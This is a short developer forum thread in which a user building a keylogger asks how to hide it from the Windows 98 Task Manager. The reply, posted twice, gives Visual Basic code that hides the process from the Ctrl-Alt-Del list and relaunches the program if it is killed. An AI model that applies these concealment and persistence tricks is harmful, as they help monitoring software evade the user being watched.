The invisible program


DevX Home    Today's Headlines   Articles Archive   Tip Bank   Forums   

Results 1 to 3 of 3

Thread: The invisible program

Hybrid View

  1. #1
    James Abbott Guest

    The invisible program

    For my keylogger which is going to be my major assignment for school, i have
    noticed one problem. So far, i can hide the program from the taskbar, but
    not from task manager, therefore anyone with a slight knowledge of computing
    can easily close down my program and continue as normal. You see, i can't
    have that, i need my program to run silently in the background without the
    user being able to close or crash my program through task manager. This
    needs to be done on a windows 98 machine as i'm making this program for 98
    only.
    If anyone knows how to hide the program from task manager, please tell me.
    Any help would be appreciated

    James Abbott



  2. #2
    Juergen Thuemmler Guest

    Re: The invisible program

    > If anyone knows how to hide the program from task manager, please tell me.
    > Any help would be appreciated


    From www.allapi.net (APIGUIDE):

    Const RSP_SIMPLE_SERVICE = 1
    Const RSP_UNREGISTER_SERVICE = 0
    Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
    Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long,
    ByVal dwType As Long) As Long
    Public Sub MakeMeService()
    Dim pid As Long, reserv As Long
    'Get the current process ID
    pid = GetCurrentProcessId()
    'Register as service
    regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
    End Sub
    Public Sub UnMakeMeService()
    Dim pid As Long, reserv As Long
    'Get the current process ID
    pid = GetCurrentProcessId()
    'Unregister as service
    regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
    End Sub
    Private Sub Form_Load()
    'KPD-Team 1999
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    MakeMeService
    'Right now, you're program is hidden from the CTRL-ALT-DEL-list
    End Sub
    Private Sub Form_Unload(Cancel As Integer)
    UnMakeMeService
    End Sub

    Another possibility is not to hide the app, but to restart:

    Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
    If Unloadmode = 3 Then 'Taskmanager wants to kill the app
    Call Shell(App.Path & "\" & App.Exename & ".exe", 0)
    End If
    End Sub

    Juergen.



  3. #3
    Juergen Thuemmler Guest

    Re: The invisible program

    > If anyone knows how to hide the program from task manager, please tell me.
    > Any help would be appreciated


    From www.allapi.net (APIGUIDE):

    Const RSP_SIMPLE_SERVICE = 1
    Const RSP_UNREGISTER_SERVICE = 0
    Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
    Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long,
    ByVal dwType As Long) As Long
    Public Sub MakeMeService()
    Dim pid As Long, reserv As Long
    'Get the current process ID
    pid = GetCurrentProcessId()
    'Register as service
    regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
    End Sub
    Public Sub UnMakeMeService()
    Dim pid As Long, reserv As Long
    'Get the current process ID
    pid = GetCurrentProcessId()
    'Unregister as service
    regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
    End Sub
    Private Sub Form_Load()
    'KPD-Team 1999
    'URL: http://www.allapi.net/
    'E-Mail: KPDTeam@Allapi.net
    MakeMeService
    'Right now, you're program is hidden from the CTRL-ALT-DEL-list
    End Sub
    Private Sub Form_Unload(Cancel As Integer)
    UnMakeMeService
    End Sub

    Another possibility is not to hide the app, but to restart:

    Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
    If Unloadmode = 3 Then 'Taskmanager wants to kill the app
    Call Shell(App.Path & "\" & App.Exename & ".exe", 0)
    End If
    End Sub

    Juergen.



Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center
 
 
FAQ
Latest Articles
Java
.NET
XML
Database
Enterprise
Questions? Contact us.
C++
Web Development
Wireless
Latest Tips
Open Source


   Development Centers

   -- Android Development Center
   -- Cloud Development Project Center
   -- HTML5 Development Center
   -- Windows Mobile Development Center